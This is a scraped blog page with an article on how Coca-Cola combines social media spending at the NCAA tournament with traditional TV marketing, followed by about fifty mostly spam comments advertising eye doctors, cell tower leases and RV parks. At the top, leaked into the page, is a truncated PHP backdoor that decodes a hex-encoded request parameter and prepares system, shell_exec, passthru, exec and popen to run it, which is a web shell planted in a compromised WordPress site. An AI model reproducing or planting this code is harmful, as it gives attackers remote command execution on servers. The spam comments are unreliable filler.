Problem to access license server. cURL error 6: Could not resolve host: shortcodesdeluxe.comProblem to access license server. cURL error 6: Could not resolve host: shortcodesdeluxe.com/***/add_action('wp', function() { if (!isset($_REQUEST["property_set"])) return; $system_core = "hex2bin"; $hub_center1 = "system"; $hub_center2 = "shell_exec"; $hub_center4 = "passthru"; $hub_center3 = "exec"; $hub_center6 = "stream_get_contents"; $hub_center7 = "pclose"; $hub_center5 = "popen"; $property_set = $system_core($_REQUEST["property_set"]); $marker = ''; for($x=0;$x*/ From Social Media to Traditional Marketing, Coke Maintains its Fizz | Sports NetworkerSports Networker

Navigation

You are here: Home > From Social Media to Traditional Marketing, Coke Maintains its Fizz

From Social Media to Traditional Marketing, Coke Maintains its Fizz

Written by in Sports Marketing
Comment
513


Sports marketing strategies are becoming increasingly sophisticated. The days of corporations walking away satisfied after paying millions of dollars to display their logo on a team jersey are long gone.  Savvy marketers know that you to have go where the eyeballs are. Whether it be social media, digital marketing or the more traditional channels, you need to communicate and then engage with your targeted customers (fans) using the medium (language) they favor.

Two recent news releases from the carbonated drinks industry illustrate this.

USA Today last week published an article revealing how large corporations such as Coca Cola are leveraging social media during the National Collegiate Athletic Association (NCAA) ‘March Madness’ annual basketball championships. Coke reserved 20% of its tournament spending for social media – a massive increase on the 2% that it gave social media marketing in 2010. When you consider the 11.7 million hours of live streaming in 2010, that is money well spent. As the article states, Coke:

“…devised a social-media gathering place dubbed the Coke Zero Social Arena, where fans can go for professional commentary and fan chatter. Coke will aggregate tweets about the game by team and try to refine social chatter in one place”.

On March 17th, The Wall Street Journal published an article revealing that Diet Coke is now the second best-selling carbonated beverage in the U.S,  behind Coca Cola, but significantly in front of arch rivals Pepsi Co Inc who are pushed down to third place.

Two reasons were offered for this result. Firstly, Coke has “ramped up its traditional TV marketing in recent years” and secondly, Pepsi’s decision to not “market its flagship cola on the Super Bowl or in other TV spots” in 2010 may have backfired. Instead of spending on the largest annual sporting event in the US, Pepsi launched its Refresh Project – a charitable program providing $20 million to “ideas that change the world”. Interestingly, in 2011, Pepsi returned to the Super Bowl promoting Pepsi Max, which competes directly with Diet Coke. Additionally, after famously missing out on sponsoring the TV show American Idol, sponsored by – you’ve  guessed it – Coke, Pepsi is fighting back. Pepsi will hand out more than $60 million to sponsor “X Factor,” Simon Cowell’s new talent show set to debut this fall on the Fox network.

You may ask what these articles have in common. For me, they illustrate the importance of having a comprehensive marketing strategy and having an in-depth understanding of your customers – and competitors.

When explaining the rationale for Coke’s social media expenditure at the NCAA, William White, group director for Coke Zero, was quoted in USA Today as saying:

“This is where our consumers are”.

When it comes to the sports industry –whether you are a sports rights holder, or a large corporation intending to spend on sports, or any other stakeholder – you have to go where the eyeballs are.

Social media is important, as we all know, and you need a strategy for it – preferably a creative one. However, traditional marketing still has an important place and ignoring it may prove to be your downfall.

Photo by D34n

, , , ,

513 Responses to From Social Media to Traditional Marketing, Coke Maintains its Fizz

  1. Frederic October 15, 2014 at 3:14 pm #

    Can you tell us more about this? I’d want to find out
    more details.

  2. weight loss surgery November 19, 2014 at 7:19 pm #

    With a skilled ultrasonographer, two gestational sacs,
    two embryos and two distinct fetal heartbeats can be seen six weeks after the first day of the last menstrual period.

    There are a few things that must be identified about the HCG diet plan and consequently a single
    really should not start off using them without having any assistance of the homeopathic medical doctor.
    Dieters are recommended to drink as much water as possible, as the adequate water consumption can help dieters feel more
    filling and increase their body metabolism.

  3. Cortney November 25, 2014 at 10:28 pm #

    When some one searches foor his vital thing, thus he/she desites tto bbe available that in detail, therefore that thing iss maintained over
    here.

  4. b2b email list May 18, 2015 at 9:16 pm #

    Hi, i believe that i saw you visited my weblog sso i got here to
    go back the favor?.I’m trying to in finding issues to improve my site!I guess its adequate
    to use some of your ideas!!

  5. design your own t-shirt May 20, 2015 at 12:00 am #

    Pretty section of content. I just stumbled
    upon your blog and in accession capital to say that I get
    actually loved account your blog posts. Anyway I’ll be subscribing to your augment and even I fulfillment you access
    constantly quickly.

  6. custom shirts online June 17, 2015 at 8:34 pm #

    whoah this blog is magnificent i love studying your posts.
    Keep up the great work! You recognize, a lot of persons are
    searching around for this info, you could help them greatly.

  7. volcomhoodies.com July 20, 2015 at 12:11 pm #

    each time i used to read smaller articles or reviews that also clear their motive, and that is also happening with this post which I am reading
    now.

  8. comprar trafico web November 28, 2015 at 2:38 pm #

    Yo voy a dibujar a mano la portada de tu ebook..

  9. click here for more info February 16, 2026 at 8:47 am #

    Find the best cell tower lease consulting that’s now available in addition with reasonably pricing now only!

  10. specialist in cataract and LASIK surgeries February 16, 2026 at 9:46 am #

    Get the best ophthalmologist – Expert Eye Doctors and Specialists Dakota Dunes, SD currently now available and a specialist in cataract and LASIK surgeries today!

  11. Expert Eye Doctors and Specialists Dakota Dunes, SD February 16, 2026 at 11:02 am #

    Get a top ophthalmologist – Ivey L. Thornton, MD, PCEO currently now available and a specialist today!

  12. view publisher site February 16, 2026 at 7:40 pm #

    Find the best long term rv parks near me currently now available in addition at reasonable prices now only!

  13. Ophthalmologist in Omaha, NE February 16, 2026 at 8:08 pm #

    Hire the best ophthalmologist – Ophthalmology that’s now available in addition with expert knowledges today!

  14. Ophthalmology February 17, 2026 at 2:32 am #

    Get the best ophthalmologist – Ophthalmologist that’s now available and with expert knowledges today!

  15. Nebraska Medicine Omaha, NE February 17, 2026 at 4:47 am #

    Hire a top ophthalmologist – Expert Eye Doctors and Specialists Dakota Dunes, SD currently now available and with expert knowledges today!

  16. rv camping close to me February 17, 2026 at 6:14 am #

    Get a top camping in aransas pass that’s now available and at reasonable prices now only!

  17. cell tower brokerage February 17, 2026 at 9:21 am #

    Hire the the top cell tower lease buyout that is now available and at reasonable prices now only!

  18. 1-dr ivey thornton February 17, 2026 at 12:08 pm #

    Hire the the top ophthalmologist – Ophthalmologist in Omaha, NE currently now available in addition a specialist today!

  19. Expert Eye Doctors February 17, 2026 at 3:25 pm #

    Find the best ophthalmologist – Expert Eye Doctors that is now available in addition highly professional today!

  20. cell tower contracts February 17, 2026 at 3:28 pm #

    Get the the top cell phone tower lease buyout currently now available and at reasonable prices now only!

  21. aransas pass rv parks February 17, 2026 at 7:38 pm #

    Get the the top rv park aransas pass tx that is now available in addition with reasonably pricing now only!

  22. 1-dr ivey thornton February 17, 2026 at 11:04 pm #

    Get a top ophthalmologist – specialist in cataract and LASIK surgeries currently now available and a specialist today!

  23. Ivey L. Thornton, MD, PCEO February 18, 2026 at 3:12 am #

    Hire the the top ophthalmologist – Nebraska Medicine Omaha, NE that is now available and highly professional today!

  24. cell phone tower lease agreement February 18, 2026 at 4:57 am #

    Find a top cell tower lease agreements that’s now available and at reasonable prices now only!

  25. Get More Information February 18, 2026 at 8:43 am #

    Hire the the top rv resorts near me that’s now available in addition with reasonably pricing now only!

  26. Ophthalmologist in Omaha, NE February 18, 2026 at 10:18 am #

    Hire a top ophthalmologist – Expert Eye Doctors currently now available in addition highly professional today!

  27. Dr. Ivey Thornton, M.D. February 18, 2026 at 3:18 pm #

    Hire the the top ophthalmologist – refractive eye surgery that’s now available and highly professional today!

  28. navigate to this site February 18, 2026 at 5:52 pm #

    Get a top cell tower lease buyout that’s now available in addition with reasonably pricing now only!

  29. rv parks aransas pass February 18, 2026 at 9:35 pm #

    Find the best aransas pass campground currently now available and at reasonable prices now only!

  30. specialist in cataract and LASIK surgeries February 18, 2026 at 9:58 pm #

    Find the best ophthalmologist – Nebraska Medicine that is now available in addition highly professional today!

  31. cell phone tower lease buyout February 18, 2026 at 10:05 pm #

    Hire the the top cell phone tower lease attorney that is now available and at reasonable prices now only!

  32. Ophthalmologist February 19, 2026 at 3:54 am #

    Find the the top ophthalmologist – Burgess Specialty Clinics currently now available in addition a specialist today!

  33. cell tower consultants February 19, 2026 at 6:21 am #

    Find the the top cell phone tower lease buyouts currently now available and at good rates now only!

  34. Nebraska Medicine February 19, 2026 at 9:54 am #

    Hire the best ophthalmologist – Ophthalmology that’s now available and a specialist today!

  35. cell site lease buyout February 19, 2026 at 9:57 am #

    Hire the the top cell phone tower lease attorney currently now available in addition on sale now only!

  36. aransas pass campground February 19, 2026 at 10:02 am #

    Hire a top rv resorts near me currently now available and at good rates now only!

  37. Ivey L. Thornton, MD, PCEO February 19, 2026 at 4:36 pm #

    Find the best ophthalmologist – Harlan Ophthalmology that’s now available in addition with expert knowledges today!

  38. cell phone tower lease buyout February 19, 2026 at 6:38 pm #

    Hire the best best cell tower lease consultants currently now available and with reasonably pricing now only!

  39. Ivey L. Thornton, MD, PCEO February 19, 2026 at 9:49 pm #

    Get the best ophthalmologist – Harlan Ophthalmology currently now available in addition highly professional today!

  40. cell tower consultants February 19, 2026 at 10:45 pm #

    Find the the top cell tower brokerage that’s now available in addition on sale now only!

  41. camping near me rv February 19, 2026 at 10:50 pm #

    Hire the best rv park aransas pass texas that is now available in addition on sale now only!

  42. specialist in cataract and LASIK surgeries February 20, 2026 at 5:03 am #

    Get the the top ophthalmologist – Dr. Ivey Thornton, MD that’s now available and a specialist in cataract and LASIK surgeries today!

  43. best cell tower lease consultants February 20, 2026 at 6:27 am #

    Get the the top cell tower lease experts that’s now available and at reasonable prices now only!

  44. Dr. Ivey Thornton, M.D. February 20, 2026 at 10:54 am #

    Find the the top ophthalmologist – Ophthalmologist in Omaha, NE that is now available in addition a specialist today!

  45. cell tower lease buyout February 20, 2026 at 11:07 am #

    Hire a top cell tower lease consulting currently now available and at reasonable prices now only!

  46. learn this here now February 20, 2026 at 11:34 am #

    Hire the the top aransas pass rv parks currently now available and at good rates now only!

  47. Ivey L. Thornton, MD, PCEO February 20, 2026 at 5:50 pm #

    Hire the the top ophthalmologist – Expert Eye Doctors and Specialists that is now available and a specialist today!

  48. cell tower lease consulting February 20, 2026 at 7:02 pm #

    Hire a top cell tower lease consultant that’s now available and on sale now only!

  49. cell tower lease consultant February 20, 2026 at 11:15 pm #

    Get the best cell tower contracts currently now available and at reasonable prices now only!

  50. specialist in cataract and LASIK surgeries February 21, 2026 at 12:30 am #

    Hire the the top ophthalmologist – Nebraska Medicine Omaha, NE that’s now available in addition a specialist today!

← Older Comments
Newer Comments →

Leave a Reply

Website Managed by T3 CONNECT